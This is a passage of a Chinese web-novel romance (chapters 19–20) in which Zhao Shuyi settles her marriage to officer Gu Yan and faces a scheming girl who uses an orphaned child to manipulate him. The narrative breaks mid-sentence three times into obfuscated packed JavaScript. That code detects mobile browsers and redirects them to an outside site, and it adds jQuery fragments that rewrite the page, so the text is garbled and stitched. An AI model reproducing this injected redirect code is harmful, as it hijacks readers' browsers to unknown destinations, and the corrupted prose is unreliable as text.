赵书宜直觉不是。 她沉默了。 对方也没再说话,好像刚才就只是随口那么一说。 两人很快就走到了家属院门口。 赵书宜心里下定决心,站住脚步,“顾岩,我们就选最后那处院子吧,让我去照顾夏连长。” 她的灵泉水或许能帮忙,她也相信顾岩看人的眼光。 听顾岩的意思,部队还在找可以帮忙照顾对方的人,以解决陶团长的后顾之忧。 对方是个保卫国家的光荣的军人,她能帮却袖手旁观会睡不着觉的。 “你说什么?”顾岩怀疑自己听错了。 赵书宜坚定说:“你不是问我想不想工作吗,我可以去照顾夏连长,我也觉得让陶团长那样的优秀军人就这样直接退伍很可惜,让我去试试吧。” 顾岩真的有点看不懂赵书宜了。 这次再见他发现赵书宜真的变了很多。 他不知道自己看到的哪个她才是真正的她。 但不管是哪个她应该都承担不起这样的责任。 “这事情我不能答应你,想要照顾一个受伤的病人不是那么简单的。” 赵书宜看起来就娇滴滴的,恐怕都不习惯自己身边没人照顾,更遑论去照顾别人? “我当然知道不简单,但是不试试怎么知道,万一我就是能把夏连长照顾得很好呢?” 赵书宜当然也没有受虐的癖好。 但她很清楚自己的身份。 是有了他们这群人的自我牺牲才有了后世的和平生活。 照顾一个身残的病人还是个脾气不好的病人可能会打乱她的计划。 但她也没打算一直照顾下去,等使用灵泉水治疗后就结束,至少让陶团长无后顾之忧。 可顾岩不同意。 “你不要耍小性子,你一个小姑娘,难道还会比勤务兵更懂得照顾人吗?” 赵书宜知道自己在他心里是个什么样的形象,只能想办法说服他。 “那你说要什么样的人才可以申请照顾夏连长,我们结婚的事可以先放放,我把工作的事情搞定我们再结婚。” “你想工作有很多机会。”顾岩也不知道她为什么突然这么犟,他是无论如何也不会同意的。 本来那两人的感情就已经岌岌可危,赵书宜不了解情况再去雪上加霜又怎么得了。 “你是不是不相信我?”赵书宜问。 顾岩没否认,“这确实是一件很艰难的事。” 他觉得自己哪怕不说赵书宜也应该明白。 但他给出的理由还比较委婉,“你没有这方面的经验,你知道怎么照顾病人吗?” 赵书宜气鼓鼓,虽然知道对方是负责任,不轻易揽担子,但她还是生气。 “我虽然没有照顾病人的经验,但我是个女人,我知道夫妻之间产生矛盾应该如何调节,我知道一个女人为什么要将深爱的丈夫拒之门外。” “爷爷说过,没有军人就没有我们普通人的幸福的生活,我深以为然,所以我希望我能为他们尽一份力。” 顾岩看着她无比坚定的眼神沉默了好一会儿,最终还是败下阵来。 “行。” “我还有……” 赵书宜眼神一亮,“你同意了!” 顾岩抿着唇说:“我同意去帮你跟陶团长说说,他不一定会同意,就算他同意,夏连长也不一定会同意。” “你带我去跟陶团长说,他一定会同意的,我爷爷之前给我留下过一个祛疤的药方,或许能治疗夏连长的伤。” 顾岩:“或许夏连长在意的并不是那些疤。” 作为一个军人,随时都做好了流血牺牲的准备,谁身上没几道疤? “我知道,但能让她好看一点为什么不试试呢,这世界上难道还有喜欢丑的人吗?” 赵书宜又不傻,自然知道对方的心结在哪。 但能漂亮,谁又愿意丑呢? 而且也不知道对方伤得怎么样,万一灵泉水能让对方重新站起来呢。 赵书宜看了陶团长那有些颓丧的样子,她突然觉得自己好像有了方向。 本来她来到这里有其中一点点理由是为了顾岩的腿。 如果她能早点让人接受她会治病的事情,或许到时候没那么麻烦。 或许……她还能帮助更多的军人。 顾岩像是被她说服了,没再反驳,而是点了点头,“到时候我跟他说说看,所以你确定要住最后一间院子了吗?” 赵书宜犹豫了一下。 答应下来就是答应和对方结婚了。 明明是一开始就决定好的,到了这紧要关头她却有点紧张了。 想想这一路顾岩的行事风格,她点了点头。 “是。” 人无完人,其实他算是一个各方面都还不错的男人。 反正之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615821|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该谈的条件两人都已经谈好了,也不需要再多言了。 顾岩点头,他觉得赵书宜好像是真的想要帮助陶团夫妻。 莫名的,他竟也生出点期待来。 “行,那我回去打结婚报告,明天可能要处理一点事情,后天我们一起看看院子怎么修缮,要打哪些家具?” 赵书宜觉得挺好,继续点头。 “那你明天好好休息一天,要不要我让人带你一起出去转转?” “不用,我就在招待所休息就行,之后有的是时间。” 她要好好规划一下,也不想自己时时刻刻被人盯着。 顾岩没有拒绝,“要给你送早饭吗,我们可能起得比较早。” “不用,你跟我说说国营饭店在哪,我自己去就行。” 顾岩给她指了指方向,又给了她几张大团结和票,“东西拿好,之后我再给你。” 把她当小孩。 赵书宜没拒绝,处对象,男人不出点钱怎么行? 可不能再养一个高志云出来。 不过顾岩倒是挺大方的。 眼看着天黑下来,未婚男女单独在外始终不好,顾岩直接把她送回了招待所。 “有什么需要就让招待所打电话。” 赵书宜笑着挥挥手,应了下来。 就这样,她就把自己的终生大事定下来了。 赵书宜心里多少有那么一丝丝惆怅。 罢了。 既来之,则安之。 回到房间,赵书宜先收拾了一下,然后照例进入空间做自己的事情。 前世因为她亲缘浅薄,赵书宜一直都很喜欢享受自己的私人空间。 不管是做什么,哪怕只是下楼买个酱油她都能把十分钟的路程走成二十分钟。 就是因为想要自己独处。 将自己沉浸在一件事情中也好,边做事边思考也好,只要没人打扰她,她都觉得很舒服。 现在也是这样,因为工具不是很趁手,赵书宜做鸡窝也不是很快,她知道她的木屋计划应该也不会太快实现。 就浅浅给自己个十年时间吧,只要十年内建出个像样的屋子就可以了。 不说别的,以后自己就在自己的移动空间里养老,谁有她这待遇? 忙了一阵,不想忙了她又继续躺着。 等安顿下来她就得找时间出去逛逛,再买一些之前没考虑到的东西。 一夜无梦。 翌日赵书宜起得并不早,但她也没打算真像昨天说的不出门。 这里的天气这么好,风景这么美,她要是一直在屋子里待着岂不可惜? 说起来空间里的风景也很好,可那种好跟外面的好还是不一样的。 空间里是一个很安宁很祥和很能让人平静的地方。 但外面不同,外面有风雨雷电有人情世故。 她是不想与过多人接触,却也知道人是群居动物,始终是要与人交流的。 说到底就是她不想与人有过于社会的交流,不想旁人来关注自己的热闹。 她也想要平和温馨的邻里、家庭关系,但她知道这是很难的,所以从一开始就将其拒之门外。 赵书宜觉得夏连长那样的女英雄应该不会是个话唠,对于对这个社会有贡献的人,她或许也会耐心足些。 在床上赖得肚子都饿了赵书宜才爬起来。 结果她还没收拾外面就传来了敲门声。 “谁啊?” 门外没人回应,赵书宜想着大概不会是什么坏人就打开门看了看,结果没想到是个出乎意料的人。 昨晚见过的那个小姑娘。 “姐姐。” 19. 不怪赵姐姐的 赵书宜着实没想到小姑娘会找上门来,而且还背着昨晚那孩子。 正好,她也对对方有些好奇。 其实她也不知道为什么,昨天和对方视线一对视,赵书宜就感觉有点不对劲。 如果这小姑娘对顾岩只是正常的感情,顾岩对她也是正常的照顾,那么赵书宜也愿意照顾他们两个。 但是如果是别的,她就要看顾岩的态度了。 “你找我是有什么事吗?” “姐姐,你是来和顾大哥结婚的吗?” 赵书宜点头没否认,“是。” 小姑娘紧紧抿了一下唇,“那你能陪我去买一身布料吗,我想给顾大哥做一身衣服给他当新婚贺礼。” 赵书宜看看她,又看看她背着的昏昏欲睡的小孩。 “你叫什么名字?” “蔡小月。” 她一双眼睛乌亮,皮肤黝黑,手指也有些粗糙,看着是像经常干活的。 但是她朴实的外表和展现出来的精明有些违和。 赵书宜一边打量她,一边询问情况。 “这孩子呢?” “蔡明亮。” 赵书宜颔首,抬手想要试试蔡明亮的额头,结果蔡小月一下把蔡明亮抱到了一边,还一脸防备的样子,这让赵书宜有些莫名其妙。 既然她担心自己对他们做什么事,她为什么还要把人抱过来找自己。 “小亮的烧还没退吧,你怎么不让他在家好好休息?” 蔡小月自己瘦得跟个竹竿似的,还抱着个孩子,看起来就很可怜,她一低头眼泪吧嗒吧嗒地往下掉。 “他们要欺负小亮。” “谁欺负小亮?”赵书宜一惊。 暂时把那种奇怪的感觉压了下去,她趁机摸了摸小孩的头,果然烫得很,脸上还有点红疹,像是过敏了。 难道是哭过敏了吗? 奇怪。 “先不说了,先把人送医院吧,要不然小亮烧坏了就不好了。” 也不知怎么的,刚才还好好的孩子突地哇哇哭起来。 赵书宜想去抱孩子,蔡小月非不肯,她哭着道:“小亮是饿了,姐姐给他点吃的吧。” “他不是饿了,是病了,我们先带他去医院。” 她又不知道这个孩子现在什么情况,哪敢随便给他吃东西,万一吃出问题怎么办? 可人家做家人的都不愿意把人送医院,她硬要送算怎么个事? “姐姐,没用的,我们把他治好了,他们还是会欺负他的,只有让小亮跟着顾大哥才行,只有顾大哥能保护小亮。” 赵书宜深吸一口气。 她算是看出来了,今天这小姑娘是拿捏她来了。 于是看她扑通跪在地上赵书宜也没管,只是让开了,不让她跪自己面前。 “求姐姐你给我们一条活路,顾大哥明明答应要照顾我们的,村里的人都知道我要嫁给他的。” 赵书宜瞳孔一缩,转念看着抱着孩子跪在地上的人,气笑了。 她深吸一口气,问:“那顾岩知道吗?” 蔡小月却不正面回答,“顾大哥……顾大哥说了要照顾我们的。” “姐姐……我也不跟你抢……” 她三两步跪到赵书宜跟前,“你能不能带我和小亮进家属院,把我当个小丫鬟也可以的。” 赵书宜前后两辈子都没见过这种场景,一时间竟不知道该怎么应对才好。 但这姑娘今天的算盘算是打错了。 “你能不能先起来?” 把她当什么了? 今天若是一个想法多的人在这里指不定被她这么一番话说得立马就要去找顾岩闹。 就算不会和顾岩因为这两个孩子的事情一拍两散,估计也会在两个人心里留下疙瘩。 还真是个有心机的。 “我求求你了,你不答应我我就不起来。呜呜……” 那哭得眼睛通红的样子倒是真叫人我见犹怜。 门都没关,她也不怕别人看见。 赵书宜真是无语望天,自己这是长了一张很好欺负的脸吗? 她深吸一口气,上前就要去抱她怀里的孩子。 “你把孩子给我。” “你干什么,你不要跟我抢小亮,啊——” 两人正僵持着门外冲过来两个高大身影。 “你们在干什么!”男人一声厉喝,屋内顿时安静下来。 前台婶子也跟着走了过来,还有住在招待所的其他人,门口一下子围了四五个人。 “顾大哥,你快来看看小亮,小亮……小亮他呜呜……” “不要跟我抢小亮。” 赵书宜:“……” 现在顾岩也来了,她也不用多管了。 都是什么事啊! 顾岩看到脸蛋发红呼吸急促的蔡明亮脸色沉沉,他一把将人抱了过去。 “怎么回事,去卫生所,边走边说!” 几人乌泱泱就要离开。 顾岩走出去两步回头看向赵书宜,“一起过去吧。” 他这温和下去的语气让赵书宜舒服了一点点。 至少没慌得一来就责怪她。 赵书宜对自己都有些没脾气了。 她可真是上辈子遭受得多了,心脏都强大了。 别人不责怪就当人好了。 不行,还得看看他下面的表现。 一行人急匆匆往医院赶。 蔡小月一直哭个不听,也没人再问她发生了什么事,只是大家看赵书宜的眼神还有些怪异。 赵书宜莫名其妙被这么个小丫头摆了一道,还真有点气。 要不是看在那小孩很不好的情况下,她准要收拾人。 所幸他们家属院卫生所离得不远,大夫说是过敏加上高烧未愈,相当于雪上加霜。 “怎么弄的,孩子平时过敏难道不知道吗?” 蔡小月一双眼睛都哭红了。 “我不知道,我们出来的时候还好好的,我说不要姐姐的东西,姐姐非要让小亮吃酥饼。” 赵书宜没搭理她那拙劣的演技。 几岁啊,搞这些。 “大夫,孩子的情况还好吧。” 本来听了小姑娘的话,王军医是有些埋怨赵书宜的。 人总是愿意同情弱者,相信弱者。 但见赵书宜是真心关心孩子,他又想,或许赵书宜也不是故意的,只是想讨好孩子而已。 毕竟顾连长的情况他们都是知道的。 “还好送来得及时,吃点药就能恢复过来,但是这样烧着烧久了可不行,下次一定要注意点。” “那就好。” 孩子没事就可以好好说说正事了。 她面无表情地看向顾岩。 顾岩薄唇紧紧抿着,说:“出去说吧。” 赵书宜当然没什么意见,转身就走。 卫生所其实也是一个家属院改造的,他们就站在院子里。 远处还有两个看热闹的婶子。 果然,在哪里都不缺看热闹的人,赵书宜觉得她这下怕是出名了,估计之后她想跟人接触别人怕是也不愿意和她接触了。 不过她也不在意,能理解固然好,不能理解她还能管别人怎么想吗? 于是她显得格外淡定。 顾岩多看了她两眼,正要开口,袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16615822|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然被蔡小月抓住。 “顾大哥,都是我的错,是我没照顾好小亮,对不起,不怪赵姐姐的,她不是故意的。” 顾岩收回袖子,再次看向赵书宜。 赵书宜闭口不言。 她就没见过这种事,也不想处理这种事,她什么也没做,凭什么解释? “姐姐,你也别跟顾大哥生气。”蔡小月见他们两人都不说话,明显有点迷茫,说话也有点慌张,但那双还算灵动的眼睛依旧转个不停。 赵书宜:“我没生气啊。” 怎么会不生气呢? 如果是别的女人不是早应该气得跳脚了吗? 蔡小月觉得有什么脱离了自己的计划,有些疑惑地看了赵书宜一眼,对上赵书宜淡漠的眼神时她有种被这个女人看穿的感觉。 怎么可能,她明明都打听过了,这就是个从京市过来的蛮横娇小姐。 那些自命清高的娇小姐不是都最厌恶男人身边有各种麻烦的吗? 她怎么无动于衷? 就在蔡小月脑子里想着计策的时候,耳边突然响起了顾岩的声音。 “蔡小月,以后你们家不用养着小亮了。” “什么,顾大哥!” 蔡小月一双眼睛水润润,任谁来瞧了都是我见犹怜,但顾岩一张冷脸毫无波动。 就连赵书宜都有些诧异,没明白他怎么突然是这态度,难不成是为了自己? “我已经给小亮找到了合适的收养人,以后你们家不用养着他了。” “这怎么可以,小亮是我们蔡家的孩子,顾大哥你怎么可以这么做?” 顾岩依旧不为所动,“你们家有把小亮当亲人吗?” 蔡小月这下是真的慌了,她眼泪跟不要钱的珠子似的往下掉,说话都不太利索了。 “我们怎么没把他当亲人,小亮最亲我了,你不能把他夺走,你凭什么,你答应我三哥要照顾我的。” 顾岩深吸一口气,“我是答应了小亮爸爸要照顾你,但是我要是知道你们家会这样糟蹋他的孩子,我绝不可能答应。” 现在还要来阻拦自己的婚事,他怎么能忍? “我没有!”蔡小月还想抵赖,“我真的没有,是姐姐只愿意要小亮不愿意要我吗,为什么,我做错了什么?” 赵书宜忍不下去,翻了个白眼,说:“你演技太差了。” 两人都是一愣。 顾岩也叹息一声,“你三哥一直说你家父母重男轻女,你在家日子过得艰难,他让我在看顾小亮的时候帮忙照顾一下你。” 蔡小月听到这话也没反应,一直垂着头不知在想什么。 “一开始我真以为是那样,可现在看来你脑子比你爸妈好,他们就算看重家里男丁也不可能对你怎么样。” “你有这样的脑子,就应该用来做一些更有意义的事情。” “以前的事我不跟你计较,你父母那边我会去沟通,你走吧。” 听到这话,蔡小月猛地抬头恶狠狠地看着顾岩。 如果不是亲眼所见,很难相信一个这么小的小姑娘脸上会露出这样的表情。 “你们知道什么,我生下来就是要尊重哥哥让着弟弟的,等我长大就要换彩礼给弟弟娶媳妇。” “凭什么!凭什么男孩子生下来谁都喜欢,男孩就是块宝,女孩就是棵草!凭什么!” “你别说的那么好听,你还不是一样,你一直只喜欢小亮看不上我!” 蔡小月几乎歇斯底里,仿佛心里积攒了无尽的委屈。 “我不管,你答应三哥要照顾我的,你要是不娶我,我就死在你们部队!” 她说着倏地就往旁边围墙冲了过去! 20. 怎么会有这么恶毒的人? 赵书宜眼疾手快,一把抓住了她。 可她像是真存了死志,跟头牛似的,拉都拉不回来。 “你冷静一点!” 真是可怜之人必有可恨之处啊! 赵书宜死死用力,却突然觉得手上一松。 蔡小月像只小鸡仔似的被顾岩拎起来扔到了一边。 他声音冷得像是刚从千年寒冰里走出来的,“我是个上过战场的人,手里沾过人命,不怕人死,但最瞧不上的就是你这种动不动就把不要命放在嘴边的人。” “你以为你现在还能在这里跟我叫嚣是为什么?” “是千千万万像你三哥那样的烈士用鲜血换来的!” “要死滚回去死!” 顾岩是真的生气了,整个人散发着森森寒意。 赵书宜能感觉到他说的那句话里带来的意思。 他手里是沾过人命的。 现在的他就像是地狱来的修罗,仿佛随时会大开杀戒。 但赵书宜并不害怕,因为她知道他不会那样做。 他只是从尸山血海中走过来,更加敬畏生命,所以对蔡小月这种要死要活的行为感到不耻与愤恨。 蔡小月也不知是不是被吓到了,哆哆嗦嗦哭着走了。 顾岩也没真不管她,让何旭跟着将她送了回去。 等人走了,院子里只剩下了赵书宜和他两人。 顾岩看了院子外一眼,原本那里还有两个看热闹的嫂子,对方见顾岩发火,也都已经被吓了回去。 赵书宜有些无语。 真有那么可怕吗? “抱歉,今天让你受委屈了。” 顾岩语气温和,声音都变小了,跟刚才那个大发雷霆的顾岩简直判若两人。 赵书宜扯了扯唇,“没事,有问题解决问题就好了。” 他的处理方法虽然好像有点残暴,但不拖泥带水,赵书宜挺满意的。 “不过那孩子你真的已经找好领养的人家了吗?” 顾岩沉默了一下,“我是找到了,不过还没有完全确定下来,但是你放心,不会让你收养孩子的。” 赵书宜其实倒也没有那么排斥,如果孩子是个好孩子,毕竟是烈士的孩子。 当然,如果能不收养自然更好。 尤其是他有那样的亲戚。 赵书宜坚信,爱人得先爱己,她不想为了别人让自己受委屈。 “给我两个月的时间吧,两个月内我会给他找一个好的去处,你不是想帮忙照顾夏连长吗,能不能带上这个孩子,两个月时间,我会给你工资。” 刚才赵书宜对孩子的关心顾岩都看在眼里。 他发现自己从前对赵书宜的印象似乎太过片面,他愿意多了解了解。 “这么严肃?”赵书宜下意识脱口而出。 其实她想到顾岩可能会让她照顾,她也做好了准备。 烈士的孩子,又那么可怜。 刚刚闹的时候赵书宜就猜到了大概的情况。 这孩子在蔡小月手下怕是吃了不少苦,至少她可以给这孩子养养身体。 但收养的话,她是犹豫的。 不过没想到顾岩根本没想让她收养,甚至还要给她钱请她照顾。 顾岩说:“这是应该的,你没什么义务照顾这个孩子,如果没有你,我也会请大院其他嫂子帮忙照顾,孩子有抚恤金,也可以支出费用,那个……” 他似乎纠结了一下,但还是望着赵书宜道:“我自己也想每个月拿出十块钱照顾这个孩子,不知道你会不会介意,我们可以商量一下。” 赵书宜更诧异了。 “你的钱我为什么要介意?” “如果我们结婚就是一家人,应该问问你的意见。” 一上午的郁气因为他的这句话被抚平了。 赵书宜语气也越发温和起来。 “我很好说话的,但前提是你要像今天这样什么事都和我商量着来。” 顾岩点头,“好。” “那你愿意帮忙吗,我给你一个月二十块的工资,夏连长那边应该也有,但我还没问。” 顾岩说:“另外家里的支出都由我来出,可能会麻烦你多照顾一点,但是我在家也会和你分担的,到时候你要是照顾不过来,我们也可以请家属院的婶子帮忙。” 他提了几次要请家属院的婶子帮忙了,赵书宜怎么听怎么感觉有点奇怪。 “你是不是不相信我可以做好家里的事情,照顾好孩子和夏连长?” 除了这个理由赵书宜想不到其他的了。 顾岩眼神闪了一下,“我是想着你可能不那么会做家务。” 果然是不信她。 赵书宜心里冷哼,但是也没怪他。 原身给人的感觉似乎就是在这方面不怎么靠谱的样子。 “我可以。”赵书宜放下“狠话”,“你等着瞧吧,绝对让你的二十块花得物超所值。” 顾岩笑笑,“行。” 说完他又严肃起来,“不过这种事情现在是不提倡的,所以在外面最好不要提,你放心我会提前把钱给你,不会赖账。” 不得不说,他考虑得还真是挺周全的。 不知道的还以为他有多稀罕自己这个媳妇呢,好像不做这些自己就会跑了。 “好。” 两人说定又进去看了看小孩,小孩还睡着,吃了药似乎好了许多,王军医又说了一下情况,确实没什么大碍,但得在卫生院观察一番。 顾岩请对方帮忙看着,他带赵书宜去吃饭。 路上顾岩跟赵书宜详细地说了说蔡明亮的事情。 孩子是前几年饥荒的时候出生的,孩子母亲因为生活不好,生孩子又耗费了大量的精气神,孩子出生后没多久就去了。 因为孩子父亲还能每个月寄钱回去,所以孩子的日子不说太好,至少还活得下去。 但是孩子父亲知道自己家人是什么人,如果自己走了,自己孩子肯定不可能过得好。 所以他在牺牲前拜托了自己的好友顾岩帮忙照顾自己的儿子。 “他没求我收养那个孩子,还主动说了不用我收养,只是希望我帮忙看顾着。” “他的心思比较重,为自己儿子考虑了很多,我会结婚会有自己的孩子,我要是收养他的孩子却不一定能一碗水端平,如果我不在,我的家人不一定能善待他的孩子。” “但是如果我只是帮他看着,不管我家有没有孩子,我肯定不会忘了他的孩子,永远可以替小亮出头。” 赵书宜有些懵,这是什么道理? 如果相信顾岩,不是让顾岩养着孩子更好吗? “他也怕影响我的家庭。” 看了眼赵书宜,他说:“我其实也担心。” 有些话顾岩没好意思说出口,其实跟他相处久了的人都能看得出来他很在意家庭。 所以他听到赵书宜说离婚会特别诧异。 如果这个孩子影响他的家庭,他肯定心也会偏的。 他还是个嫌麻烦的人,如果不是爷爷的叮嘱,他甚至不想和赵书宜结婚。 赵书宜隐隐约约地明白了顾岩的想法。 她感觉要彻底懂得他还需要一定的时间,不过她也不急。 就如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618298|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她了解到的情况,她还是愿意与顾岩继续接触下去的。 “我明白。” 顾岩看她乖巧点头的样子,不由得更柔和了神色,继续说起蔡家的事情来。 “一开始他们对小亮确实挺好的,直到我发现蔡小月看我的眼神有些不对劲,那段时间小亮经常生病,见了我也经常哭,但就是不说原因。” 赵书宜震惊,“他们利用小亮生病来接近你?” “对,一个装可怜,一个装恶人,而我是他们戏里拯救可怜人的大善人。” 顾岩在说这话的时候几乎咬牙切齿,可见他是真的厌弃那家人。 “所以今天孩子过敏也是故意的?”赵书宜气得跺脚,怎么会有这么恶毒的人? “他们全家都在配合蔡小月吗?” 顾岩看着她气鼓鼓的可爱样子都笑不出来,叹息道:“对,他们家里人打的把蔡小月嫁个不错的人家为家里谋福利的主意。” 赵书宜:“但我看蔡小月不像是会给他们福利的样子。” “你看人倒是挺准的。” 性子也沉稳。 顾岩还是很好奇,为什么短短几个月她变了这么多。 想了好半晌,他觉得赵书宜之前是装的,毕竟沉稳是很难装的,但装蠢就简单多了。 赵书宜并不知他心里在琢磨自己,说出自己的看法。 “她的演技太过了,或许文工团适合她。” 适合她这样夸张的表演。 顾岩扯了扯唇,“我本来想着赶紧找到收养人再跟他们把事情挑明,没想到他们这么沉不住气。” 之前因为有外出任务的缘故,顾岩没办法把孩子接到自己身边。 “你来了,真的帮了我大忙,就是要辛苦你。” 赵书宜完全不在意,“别说这样的话了,我不是还有报酬吗?” 顾岩知道她根本不缺。 不过他也不是个喜欢说这些场面话的人。 以后她会是他的妻子,他会对她好的。 “饿了没。” 赵书宜摸摸肚子,“真有点饿。” 顾岩看到她迷糊的样子,莫名想到之前看她在火车上从睡梦中醒来的模样,一股热意莫名上涌,他轻咳了一声。 “去国营饭店吧。” 顾岩大概是个名人,走在路上总有人打量他们,有些人会和顾岩打招呼,有些人只是看看他们。 一开始赵书宜有些不太适应,但习惯后也觉得没什么了。 主要顾岩都会应付,也不会跟人多说,说话时也有礼有节,让人听着比较舒服。 这边的国营饭店菜色很不错,是辣口,赵书宜喜欢,但原身这个身体似乎有点受不了,辣得她斯哈斯哈眼泪汪汪。 “你没事吧,我去给你倒杯水。” 顾岩回来时不仅拿了一杯水,还多拿了一瓶汽水让赵书宜选。 赵书宜看到汽水眼睛发亮,连忙喝了两口。 真是快活似神仙啊! “抱歉,我没想到你这么不能吃辣。” 是他疏忽了,虽然点的是少辣的菜,但是忘记了赵书宜是个沪市人。 “下次出来吃饭直接不要辣,可以提前跟他们说。” 赵书宜摆手,“没事,我很喜欢这个味道,很好吃,只是还不太习惯。” 说完一行清泪就从她的眼角滑了下来,她那句话很没有说服力。 不知为什么,顾岩心里蓦地揪了一下。 等他反应过来时,他的手指已经接触到了对方湿润的眼角。 赵书宜一下愣住了,她有些呆呆地看着顾岩。